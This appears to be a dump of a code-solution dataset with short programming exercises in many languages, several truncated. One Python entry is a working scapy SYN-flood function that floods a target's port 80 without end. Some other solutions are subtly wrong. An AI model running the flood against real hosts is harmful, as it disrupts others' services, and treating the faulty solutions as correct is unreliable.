id
stringlengths
20
20
title
stringclasses
1 value
text
stringlengths
52
7.08k
027caa71839d3c5cc7f0
```swift public struct StringEncodingError: Error {} public func encode(_ input: String) -> String { var encodedString = "" for char in input { let binaryValue = String(char.asciiValue!, radix: 2) let paddedBinaryValue = String(repeating: "0", count: max(0, 8 - binaryValue.count)) + binaryValue...
027fc96c378bcc8cfbe7
```python def IsWeaponLightOrOneHandedPiercing(obj, weap): # Assuming un-enlarged state return 1 ``` The given code snippet and truth table suggest that the function should always return 1, assuming an un-enlarged state. Therefore, the solution simply returns 1 without any conditional checks.
02858bfb39bcce0c6974
```cpp #include <iostream> #include <algorithm> int maxWeightAfterConnectingRopes(int weight[], int rope, int n) { std::sort(weight, weight + rope); // Sort the array of rope weights int result[rope]; // Array to store the results after multiplying weights by n for (int j = rope - 1; j >= 0; j--) { ...
0285ad1b5cdfcd65bcf6
```php use Doctrine\Common\Collections\Collection; class CustomCollection implements Collection, IteratorAggregate { private $elements = []; public function add($element) { $this->elements[] = $element; } public function remove($element) { $key = array_search($element, $this->...
02863177a6996ecff7eb
```javascript function handleError(errorConfig, error) { for (const key in errorConfig) { if (errorConfig.hasOwnProperty(key)) { if (errorConfig[key].errorType === error.type) { errorConfig[key].errorCallback(error); return; } } } console.log(`No matching error configuration fo...
02873794776c559222d5
```javascript function filterModelsByStakeholders(data) { const modelsWithStakeholders = data.modelsToShare.filter(model => { return model === stakeholderModel; }); return modelsWithStakeholders; } // Example usage const result = filterModelsByStakeholders(getGroupSharingDetailsResults); console.log(result);...
028779d8b3ee503e702a
```python import numpy as np def update_function_array(function_array, nmax, theta): index = np.arange(nmax + 1) function_array[:, index[2:], index[1:-1]] = np.sqrt(2 * index[2:] + 1) * np.cos(theta[:, np.newaxis]) * \ function_array[:, index[1:-1], index[1:-1]] ...
02877bce69f5df36bd16
```javascript function validateForm() { const createAccountRadio = document.getElementById('option4'); const loginAccountRadio = document.getElementById('option5'); const certifyCheckbox = document.getElementById('option6'); const createAccountSelected = createAccountRadio.checked; const loginAccountSelected...
028ba06cf153ca81c5db
```python from flask import Flask, request, g class DebuggingPlugin: def __init__(self, app): self.app = app self.init_app() def init_app(self): self.app.before_request(self.log_request) self.app.after_request(self.log_response) def log_request(self): # Log incomin...
028cb9127d77a9ca501f
```python import os def count_image_categories(oriDir): category_counts = {} for fn in os.listdir(oriDir): for imgName in os.listdir(os.path.join(oriDir, fn)): if '-' in imgName: category = imgName.split('-')[0] category_counts[category] = category_counts.get...
028d44a935a317f57dc6
```bash testErrorStateAfter() { echo "Error state after running test:" check_logs_for_errors # Develop a check for ensuring that no new errors have occurred # For example, you can use a command to compare the current error count with the previous count # If the current count is greater than the previous count...
028d57f8a2d8e6d60648
```bash #!/bin/bash # Define variables NOW=$(date +"%Y%m%d%H%M%S") EXPORT_FILE="shared_folder_export.dat" BACKUP_FILE="backup/shared_folder_export_backup.dat" DATE=$(date) # Create a backup of ms.conf file cp /etc/isode/ms.conf /etc/isode/ms.conf.$NOW # Import shared folder from export file if /opt/isode/sbin/msadm ...
028d6b745018203e4779
```java public boolean validateSpuInfoQuery(SpuInfoQuery spuInfoQuery) { if (spuInfoQuery == null) { return false; // Null object cannot be validated } if (spuInfoQuery.getStatus() == null || spuInfoQuery.getStatus() < 0) { return false; // Invalid status field } if (spuInfoQuery.get...
028d8a57178329be3fdf
```python import torch import torch.nn as nn import pyrado from pyrado.policies.base_recurrent import RecurrentPolicy from pyrado.policies.fnn import FNN from pyrado.policies.initialization import init_param from pyrado.policies.rnn import default_unpack_hidden, default_pack_hidden from pyrado.sampling.step_sequence im...
028eb73b3618f5a2956e
```python import random def rock_paper_scissors(player_choice): choices = ["rock", "paper", "scissors"] computer_choice = random.choice(choices) if player_choice not in choices: return "Invalid choice. Please choose 'rock', 'paper', or 'scissors'." if player_choice == computer_choice: ...
028f61eef1d844c1dc41
```cpp #include <iostream> // Simplified implementation of ImGuiManager for demonstration purposes class ImGuiManager { public: void ListBoxHeader(const char* label, const ImVec2& size) { // Implementation of ListBoxHeader std::cout << "Displaying ListBoxHeader with label: " << label << " and size:...
0290ade044b257bf7fb7
```python import numpy as np def neutral_sub_pca_vector(X, N): """ Performs PCA by singular value decomposition after subtracting a neutral vector with a specified factor. Args: X: numpy array, the input matrix of shape (m, n) N: float, the factor to multiply the neutral vector with Retur...
0291479c3833790fd14a
```php public function store(Request $request){ $data = DB::table('reactcrud')->insert([ 'name' => $request->name, 'email' => $request->email ]); } ``` To complete the `store` function, you can use Laravel's Eloquent ORM to achieve the desired functionality. The missing part of the function inv...
029375bce25e1b2ff761
```python from scapy.all import * def syn_flood_attack(src, target): i = 1 while True: for srcport in range(1, 65535): ip = IP(src=src, dst=target) tcp = TCP(sport=srcport, dport=80, flags="S") # Set the SYN flag pkt = ip / tcp send(pkt, inter=.0001, ver...
02948d7c2e128938bbf2
```java import org.springframework.stereotype.Service; @Service public class RetryableService { private static final int MAX_RETRIES = 3; private static final long RETRY_DELAY_MS = 1000; public Map<String, Object> processRequest(String arg) { int retryCount = 0; while (retryCount < MAX_RE...
0297b8915636e2fdc89b
```python def calculate_rectangle_area(x1, y1, x2, y2): """ Calculate the area of a rectangle given the coordinates of two opposite corners. Args: x1, y1: Coordinates of the first corner x2, y2: Coordinates of the second corner Returns: The area of the rectangle """ length = abs(x2...
02987a2d3eced18644a6
```cpp // common_types.h /*! @file This header file defines common types and constants for the application. */ #ifndef COMMON_TYPES_H #define COMMON_TYPES_H using SizeType = unsigned int; // Type alias for size and index representation const double PI = 3.14159265358979323846; // Mathematical constant pi cons...
02987a77b92c9045c49d
```python from typing import Dict class VendingMachine: def __init__(self, items: Dict[str, float]): self.items = items self.selected_item = None self.total_inserted = 0 def select_item(self, item: str) -> str: if item in self.items: self.selected_item = item ...
029b1f93b282aa6c623a
```python import pandas as pd # Sample firmware_df DataFrame data = {'device_type': ['DeviceA', 'DeviceA', 'DeviceB', 'DeviceB'], 'firmware_version': [1.0, 1.2, 2.1, 2.0]} firmware_df = pd.DataFrame(data) def average_firmware_version(device_type: str) -> float: firmware_type_df = firmware_df[firmware_df['...
029b335874d5b751a86b
```csharp // Define an enum for IntercoolerType public enum IntercoolerType { AirToAir, AirToWater, Sequential } // Define the base class CarComponent public class CarComponent { public string Name { get; set; } public int SerialNumber { get; set; } } // Define the derived class Intercooler from C...
029b6535422cd99e09da
```java import java.sql.*; import java.util.List; public class CarManager { public static void main(String[] args) throws SQLException { String url = "jdbc:mysql://172.17.0.2:3306/renault"; try (Connection connection = DriverManager.getConnection(url, "root", "1<PASSWORD>")) { List<Car>...
029dc36e3f9527e1e295
```python import pyttsx3 def text_to_speech(): # Prompt user for input text = input("Enter the text to convert to speech: ") # Initialize pyttsx3 engine engine = pyttsx3.init() # Set speech rate and volume properties engine.setProperty('rate', 150) engine.setProperty('volume', 1.0) #...
02a02ef136c38d3a7635
```python def process_transaction(amount_btc: float, output_btc: float, cust_close_privkey: str, merch_disp_pubkey: str) -> bytes: input_amount_sat = int(amount_btc * 100000000) output_value_sat = int(output_btc * 100000000) input_amount = input_amount_sat.to_bytes(8, byteorder="little", signed=True) o...
02a0e67d3f016b1cf426
```python from typing import List, Tuple, Dict from collections import defaultdict def calculate_monthly_avg_temperatures(data: List[Tuple[str, int]]) -> Dict[str, float]: monthly_temperatures = defaultdict(list) for date, temp in data: year_month = date[:7] monthly_temperatures[year_month].ap...
02a1e0797f33a8ceb21a
```typescript import { Entity, PrimaryGeneratedColumn, Column, OneToMany, ManyToOne, JoinColumn } from 'typeorm'; @Entity() export class Review { @PrimaryGeneratedColumn() id: number; @Column() movieTitle: string; @Column() content: string; @Column() likes: number; @OneToMany(() => LikeReview, li...
02a47f0657037a355f17
```python # Create a directory structure for the package # my_lambdata/ # ├── my_lambdata/ # │ ├── __init__.py # │ └── my_module.py # ├── setup.py # └── README.md # my_module.py def square_list(input_list): """ Squares each integer in the input list and returns a new list. Args: input_list (li...
02a5fe4cec7d92a15677
```python import re def extractCodeInfo(file_path): with open(file_path, 'r') as file: content = file.read() match = re.search(r'//\s*Created by\s+(.*?)\s+on\s+(\d{2}/\d{2}/\d{4}).*All code \(c\) (\d{4}) - present day, (.+?)\.', content) if match: author = match.group(1) ...
02a7ae4613cc36c9b077
```java import org.openqa.selenium.WebElement; import java.util.List; public class RegistrationPage { private boolean isLoggedIn; public RegistrationPage(boolean isLoggedIn) { this.isLoggedIn = isLoggedIn; // Additional initialization if needed } public List<WebElement> getAllLinks() ...
02a879e5bc5e4507049c
```javascript class Task { constructor() { this.created = new Date(); } getElapsedTime() { const currentTime = new Date(); return currentTime - this.created; } } // Example usage const task1 = new Task(); // ... do some work ... console.log(task1.getElapsedTime()); // Output the elapsed time in mi...
02a90d65121acf69d7b5
```python from typing import Sequence class ProtocolManager: def __init__(self, count: int): self.count = count @property def backupIds(self) -> Sequence[int]: """ Return the list of replicas that don't belong to the master protocol instance """ return list(...
02a9482ea8e8ead1cf5e
```python from behave import given, when, then from germanium.static import open_browser, go_to, find, assert_true @given('the web page "{url}" is open') def step_open_web_page(context, url): open_browser() # Navigate to the specified URL go_to(url) @when('the element with CSS selector "{css_selector}" i...
02add9c50a927403252a
```bash cfg_server_address() { local section="$1" local server_address="" # Assume config_get function is implemented to retrieve value for a given key in a section server_address=$(config_get "server" "$section" "server" "") echo "$server_address" } ``` In the solution, the `cfg_server_ad...
02b0ffd7bdd93c5971cd
```python class Document: pass # Placeholder for the Document class, assuming it has other methods and attributes not relevant to this problem class Practitioner(Document): def __init__(self, first_name, second_name=None): self.first_name = first_name self.second_name = second_name sel...
02b26210223876c13e33
```python from typing import List def count_comparisons_selection_sort(input_list: List[int]) -> int: comparisons = 0 for i in range(len(input_list)): min_index = i for k in range(i, len(input_list)): comparisons += 1 if input_list[k] < input_list[min_index]: ...
02b431826afd8aefb0af
```php class CountryLister { private $current_row = []; public function set($key, $value) { $this->current_row[$key] = $value; } public function get($key) { return $this->current_row[$key] ?? null; } public function convertToLowerCase() { if (isset($this->current_row['...
02b4797601ac300821ab
```python import numpy as np class ClassSelector: def __init__(self, classes): self.classes = classes def select_classes(self): if len(self.classes) <= 2: return self.classes else: n_classes = np.random.randint(low=2, high=len(self.classes)) classes_...
02b4b23b257d45a86536
```javascript function filterMenuItems(menuItems) { return menuItems.filter(item => item.url !== ''); } // Test the function const menu = [ { text: 'Home', url: '/home' }, { text: 'About', url: '' }, { text: 'Services', url: '/services' }, { text: 'Contact', url: '' }, ]; console.log(filterMenuItems(menu)); ...
02b645919724a40261c7
```csharp public class CalendarGenerator { // ... (other methods remain unchanged) /// <summary> /// Formats the month dates. /// </summary> /// <param name="year">The year of the month.</param> /// <param name="month">The month for which to generate the dates.</param> /// <returns>The form...
02b64a345400e74dc764
```python class ListNode: def __init__(self, value=0, next=None): self.value = value self.next = next def reverse(self, head): if head is None or head.next is None: return head prev_node = None current_node = head next_node = None while curr...
02b68202854bee58b25a
```python from rest_framework import viewsets from django.http import JsonResponse from .models import ActivityPeriod from .serializers import ActivityPeriodSerializer class ActivityPeriodViewSet(viewsets.ModelViewSet): queryset = ActivityPeriod.objects.all() serializer_class = ActivityPeriodSerializer ``` In ...
02b70e5b5e02ee3dc31a
```python import subprocess import random import string def generate_crypto_key(): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(16)) def main(): num_robots = input("Enter the number of robots: ") robot_name = input("Enter the robot's name: ") ip_address = input("En...
02b74d48a764835a65fe
```python import requests import os def download_file(url: str, destination: str) -> bool: try: response = requests.get(url, stream=True) if response.status_code == 200: with open(destination, 'wb') as file: for chunk in response.iter_content(chunk_size=1024): ...
02b7a9635d24e578feea
```python from linebot import LineBotApi, WebhookHandler from linebot.models import MessageEvent, TextMessage, PostbackEvent from linebot.exceptions import LineBotApiError from linebot.models import TextSendMessage # Initialize Line bot API and Webhook handler line_bot_api = LineBotApi('YOUR_CHANNEL_ACCESS_TOKEN') han...
02b832674fafe740141a
```bash #!/bin/sh jar_file="/opt/app-root/bin/builds-for-managers.jar" echo "Starting wildfly swarm app..." echo "JVM options => $JAVA_OPTIONS" echo if [ -f "$jar_file" ]; then java $JAVA_OPTIONS -jar "$jar_file" else echo "Error: The file $jar_file does not exist. Unable to run the application." exit 1 fi ```...
02b87d797a2ab4257a99
```python import os def simulate_file_deletion(file_path: str) -> None: if os.path.exists(file_path): confirmation = input(f"File '{file_path}' exists. Do you want to delete it? (yes/no): ") if confirmation.lower() == "yes": os.remove(file_path) print(f"File '{file_path}' ha...
02b956652be75450c954
```python def addBinary(a: str, b: str) -> str: result = [] carry = 0 i, j = len(a) - 1, len(b) - 1 while i >= 0 or j >= 0 or carry: total = carry if i >= 0: total += int(a[i]) i -= 1 if j >= 0: total += int(b[j]) j -= 1 ...
02baae4febef50627ead
```python class Character: # ... (other methods and attributes) def update_animation(self): if self.animation: # Check if animation is active self.clock += 1 # Increment animation clock if self.clock >= self.speed: # Check if it's time to update the animation frame ...
02bb5c8012ed6c93cdeb
```python from typing import List, Tuple def top_three_results(results: List[Tuple[int, str]]) -> List[Tuple[int, str]]: # Sort the results in descending order based on score sorted_results = sorted(results, key=lambda x: x[0], reverse=True) # Return the top three results if available, otherwise return all...
02bc69c9b98aca3d519b
```python from typing import List import importlib def get_imported_models(subpackage_name: str) -> List[str]: imported_models = [] try: subpackage = importlib.import_module(f'.{subpackage_name}.models', package='package') for name in dir(subpackage.models): obj = getattr(subpackage...
02bf3560f52b0f7b150f
```python class MetaClass(type): def __new__(mcs, name, bases, clsdict): return super().__new__(mcs, name, bases, clsdict) def __init__(cls, name, bases, clsdict): super().__init__(name, bases, clsdict) def __call__(cls, *args, **kwargs): return super().__call__(*args, **kwargs) ...
02bf70d7e401e9bc35f7
```python from typing import List import numpy as np def multivariate_normal_pdf(Sigma: List[List[float]], eta: float) -> float: det_sigma = np.linalg.det(Sigma) pdf = det_sigma ** (eta - 1) return pdf ``` The `multivariate_normal_pdf` function first calculates the determinant of the correlation matrix \(...
02bf96f104e7a7de0077
```python def sort_sentences(sentences): sorted_sentences = sorted(sentences, key=lambda item: (-item[1], item[0])) return sorted_sentences ``` The `sort_sentences` function takes the input list of tuples and uses the `sorted` function with a custom sorting key. The key function first sorts the tuples based on...
02c03977f1d4a0b2c6c0
```cpp // Custom iterator class for iterating over declarations within a scope class ScopeDeclarationIterator { private: UTL_Scope* scope; size_t currentIndex; public: // Constructor to initialize the iterator with the given scope ScopeDeclarationIterator(UTL_Scope* s) : scope(s), currentIndex(0) {} ...
02c07a83b40271785071
```php <?php // UuidsTrait.php trait UuidsTrait { protected static function bootUuidsTrait() { static::creating(function ($model) { $model->{$model->getKeyName()} = (string) \Illuminate\Support\Str::uuid(); }); } } // EloquentManhole.php use Illuminate\Database\Eloquent\Model; ...
02c148db62037c3faaca
```csharp using System; using System.IO; using System.Linq; public class File2 { private string filePath; public File2(string path) { filePath = path; } public string GetFileName() { return Path.GetFileName(filePath); } public static File2[] GetFiles(string path) ...
02c4ea8745538a2e7631
```python def filter_packages_by_prefix(package_list, prefix): filtered_packages = [package for package in package_list if package.startswith(prefix)] return filtered_packages ```
02c56cd7309a5e15128e
```bash #!/bin/bash # Set the bucket name and key prefix bucket_name="your_bucket_name" bucket_keyprefix="your_key_prefix" # Retrieve a list of objects from the specified prefix within the S3 bucket output=$(aws s3 ls s3://$bucket_name/$bucket_keyprefix/extract/ | awk '{print $2}') # Process the output to remove the...
02c688da705797ef4114
```python from sqlalchemy import Column, Integer, String from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() class Article(Base): __tablename__ = 'article' id = Column(Integer, primary_key=True, autoincrement=True) title = Column(String(50), nullable=False) def __repr__(...
02c72072197f2f157f75
```python from typing import Tuple from cryptography.hazmat.primitives import padding from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend def generate_iso0_tdes_pin_block(pin: str, accoun...
02c740f19e39b8fff58a
```python import os import platform def build_package(): tool = "cx_Freeze" user_input = input("1. cx_Freeze\n2. PyInstaller\n빌드에 사용할 툴을 선택하세요. : ") if user_input == "2": tool = "PyInstaller" if platform.system() == "Windows": os.system(f"TITLE {tool} builder") elif platform.system...
02c898090c85e386e9dd
```python import argparse from ucsmsdk.ucshandle import UcsHandle def main(): parser = argparse.ArgumentParser(description='Manage VLAN assignments for service profiles in UCSM') parser.add_argument('vlan', type=int, help='VLAN ID to assign or remove') parser.add_argument('--remove', action='store_true', h...
02c94206a6baaa2fb602
```python import subprocess import time class Selection: def __init__(self, intvl): self.content = "" self.intvl = intvl def get_str(self): while True: cur = subprocess.check_output(["xsel"]).decode('utf-8').strip() if cur != self.content: self....
02c964fa692ba4759f60
```python class NetworkManager: def __init__(self): self.loaded_config = None def load(self, configID): # Assume net.load() is a method provided by the network management system self.loaded_config = net.load(configID) def generateOne(self): # Assume net.generateOne() is a m...
02cb87734b6e782c117c
```python # Prompt user for input user_input = input("Enter font family/types (separated by commas): ") # Split the input into a list of font families/types font_list = user_input.split(',') # Format and display the input for index, font in enumerate(font_list, start=1): print(f"{index}. {font.strip()}") ``` The...
02cc9cff4a29872bbadc
```python def generate_book_report(file_path): book_report = {} with open(file_path, 'r') as file: for line in file.readlines(): author, book = line.strip().split(', ') if author in book_report: book_report[author] += 1 else: book_repor...
02cd288d983dfdae54d4
```csharp // Model: MessageModel.cs public class MessageModel { public string Message { get; set; } } // Controller: MessageController.cs public class MessageController : Controller { public ActionResult DisplayMessage() { MessageModel model = new MessageModel(); model.Message = "Welcome to...
02cd32955c559697d406
```python # Example usage matrixA = Matrix([[1, 2], [3, 4]]) matrixB = Matrix([[5, 6], [7, 8]]) result = calculateFirstElement(matrixA, matrixB) print(result) # Output: 26 ```
02cda31b25b92c11c7ad
```python self.output_action = slim.fully_connected(scope='fc', inputs=hidden_layers, num_outputs=action_dim, weights_initializer=weights_initializer, a...
02cdb6ae58cc256b1c00
```python import os import re import numpy as np import random def gen_sparses(dir_path, sparsity_percentage): ''' Randomly remove points from dense instances to create sparse instances ''' dense_dir = dir_path + '/dense' sparse_dir = dir_path + '/sparse' if not os.path.exists(sparse_dir): os...
02cf71d5c7d51c3fef04
```python class Product: def __init__(self, product_id, name, quantity, price): self.product_id = product_id self.name = name self.quantity = quantity self.price = price class Inventory: def __init__(self): self.products = [] def add_product(self, product): ...
02cf75b33c48307f2b18
```python def count_license_occurrences(file_path, license_types): # Read the content of the file with open(file_path, 'r') as file: content = file.read() # Initialize a dictionary to store the counts of each license type license_counts = {license: 0 for license in license_types} # Iterate...
02d021ab73efda13f3ab
```python import csv import os def analyze_csv_file(file_path): if not os.path.exists(file_path): print("File not found") return with open(file_path, 'r') as file: reader = csv.reader(file) column_names = next(reader) for row in reader: if len(row) != le...
02d0a6a96b7efa1be8f6
```csharp public class DanceEvent { private bool IsWearingDanceShoes { get; set; } private int NumberOfDanceClassesAttended { get; set; } private string FavoriteDanceStyle { get; set; } public DanceEvent(bool isWearingDanceShoes, int numberOfDanceClassesAttended, string favoriteDanceStyle) { ...
02d0b83c2c38d57dcc1c
```python def calculateMemorySpace(file): total_space = 0 with open(file, 'r') as f: for line in f: if line.strip().startswith(".4byte"): address = int(line.strip().split()[1], 16) total_space += 4 # Each address occupies 4 bytes return total_space ``` Th...
02d169dca8d886cc075a
```java // LoadbalanceTarget class public class LoadbalanceTarget { private String key; private ClientTransport transport; private LoadbalanceTarget(String key, ClientTransport transport) { this.key = key; this.transport = transport; } public String getKey() { return key; ...
02d268610161613060d2
```python from typing import List def find_mismatched_attributes(item: dict, result: dict) -> List[str]: match_errors = [] if item["province"] != result.get("province"): match_errors.append("province") if item["type"] in ["city", "district"]: if item["city"] != result.get("city", ""): ...
02d26c71f9328d2ebe36
```rust use mongodb::{Client, Database, bson::doc}; use std::error::Error; pub struct Db; impl TypeMapKey for Db { type Value = Database; } pub async fn init_db() -> Result<Database, Box<dyn Error>> { let client = Client::with_uri_str("mongodb://localhost:27017/").await?; let db = client.database("ornery...
02d6fa6b5eef35afa73f
```swift extension NSObject { func then(_ configure: (Self) -> Void) -> Self { configure(self) return self } } ``` The `then` function is defined as an extension on the `NSObject` class, taking a closure that accepts the object itself as a parameter. Within the closure, the object's properties ...
02d795e776957c651284
```python class VersionInfo: def __init__(self, major: int, minor: int, patch: int): self.major = major self.minor = minor self.patch = patch def __str__(self): return f"{self.major}.{self.minor}.{self.patch}" def __lt__(self, other): if isinstance(other, VersionInf...
02d7a980724e3cf56f63
```python def extract_license_identifier(file_path: str) -> str: with open(file_path, 'r') as file: for line in file: if line.strip().startswith("# SPDX-License-Identifier"): return line.split(":")[1].strip() return "" ``` The `extract_license_identifier` function opens the f...
02dbd162dc8babf39834
```javascript function validateForm() { var phoneInput = document.getElementById('cufc3').value; var extInput = document.getElementById('cufc4').value; var countryInput = document.getElementById('cufc5').value; var phoneRegex = /^(\+\d{1,3})?\d{3,}-\d{3,}-\d{4,}$/; // Regular expression for phone number format ...
02dbeaf896e7383fbd6e
```python from sqlalchemy import create_engine, Column, String, Integer from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker # Create the base class for the ORM Base = declarative_base() # Define the Title class class Title(Base): __tablename__ = 'titles' id = Column...
02dca57dd48337203947
```python import torch from torch.utils.data import Dataset, DataLoader from torchvision import transforms from PIL import Image class CustomImageDataset(Dataset): def __init__(self, image_paths, labels): self.image_paths = image_paths self.labels = labels self.transform = transforms.Compos...
02df38342ca06463bf86
```python import json # Read the JSON file with open('network_data.json', 'r') as file: data = json.load(file) # Calculate the average age of all interfaces ages = [interface['age'] for interface in data['members'].values()] average_age = sum(ages) / len(ages) # Identify the interfaces that are both aggregatable...
02df5b07184e31e99837
```cpp #include <vector> #include <algorithm> int maxCookies(std::vector<int>& g, std::vector<int>& s) { std::sort(g.begin(), g.end()); std::sort(s.begin(), s.end()); int result = 0; int i = 0, j = 0; while (i < g.size() && j < s.size()) { if (s[j] >= g[i]) { result++; ...
02dfa83c765da97b7085
```python from typing import List, Dict import dns_utils def get_ip_addresses(domains: List[str]) -> Dict[str, List[str]]: domain_ip_map = {} for domain in domains: ips = dns_utils.get_ips_for_domain(domain) domain_ip_map[domain] = ips return domain_ip_map ```
02dff7f9ba79070f738e
```python class CondDist: def __init__(self, joint_dist, given_var): self.joint_dist = joint_dist self.given_var = given_var def get_distribution(self, given_value): conditional_dist = {} total_prob = 0 for key, prob in self.joint_dist.items(): if key[self.gi...
02e007c3f5b919ee05da
```python from typing import List def weighted_average_loss(losses: List[float], class_weights: List[float]) -> float: weighted_losses = [loss / weight for loss, weight in zip(losses, class_weights)] weighted_average = sum(weighted_losses) / len(weighted_losses) return weighted_average ```
02e013db6e8c86b81325
```java import java.math.BigInteger; import java.util.HashMap; import java.util.Map; public class DCN { private Map<Integer, String> users; private Map<Integer, BigInteger> exchangeAccounts; private Map<Integer, Map<Integer, BigInteger>> userAccounts; public DCN() { this.users = new HashMap<>(...
02e1ee2926416282f5fb
```csharp public class MicrophoneSpeakerManager : MonoBehaviour { private List<Microphone> availableMicrophones = new List<Microphone>(); private List<Speaker> availableSpeakers = new List<Speaker>(); private void Start() { RefreshMicrophonesButtonOnClickHandler(); listener.SpeakersUpda...
02e1f6ce10ec36dc058a
```python def frame_fps_to_time(idx, fps, length=3): return idx / fps * length ``` The solution involves a simple calculation to convert the frame index to a time value. The formula used is `idx / fps * length`, where `idx` is the frame index, `fps` is the frames per second, and `length` is the length of time for ...
02e3921c089fa58287ac
```php public function update(UserUpdateRequest $request) { $validated = $request->validated(); $user = User::find($request->id); if ($user) { $user->email = $request->email; $user->first_name = $request->first_name; $user->last_name = $request->last_name; // Check...
02e3f8bb193d5a69a4ce
```javascript function removeAll(arr, value) { return arr.filter(item => item !== value); } ``` The `removeAll` function uses the `filter` method to create a new array containing only the elements that do not match the specified value. This solution passes all the test cases provided in the test suite.
02e677ec448071c453ea
```python from itertools import permutations class Solution: def shortestSuperstring(self, A: List[str]) -> str: def overlap(a, b): max_overlap = 0 for i in range(min(len(a), len(b)), -1, -1): if a.endswith(b[:i]): return i return max_...
02e801ef0ce4bdea6258
To implement the custom sorting and refreshing mechanism for the `GroupedProjectsList`, you can follow the steps below: Step 1: Define the `SortOrderFactory` class ```csharp public class SortOrderFactory { public static IProjectItemSorter GetProjectItemSorter(GridSortDescription sortDescription) { // I...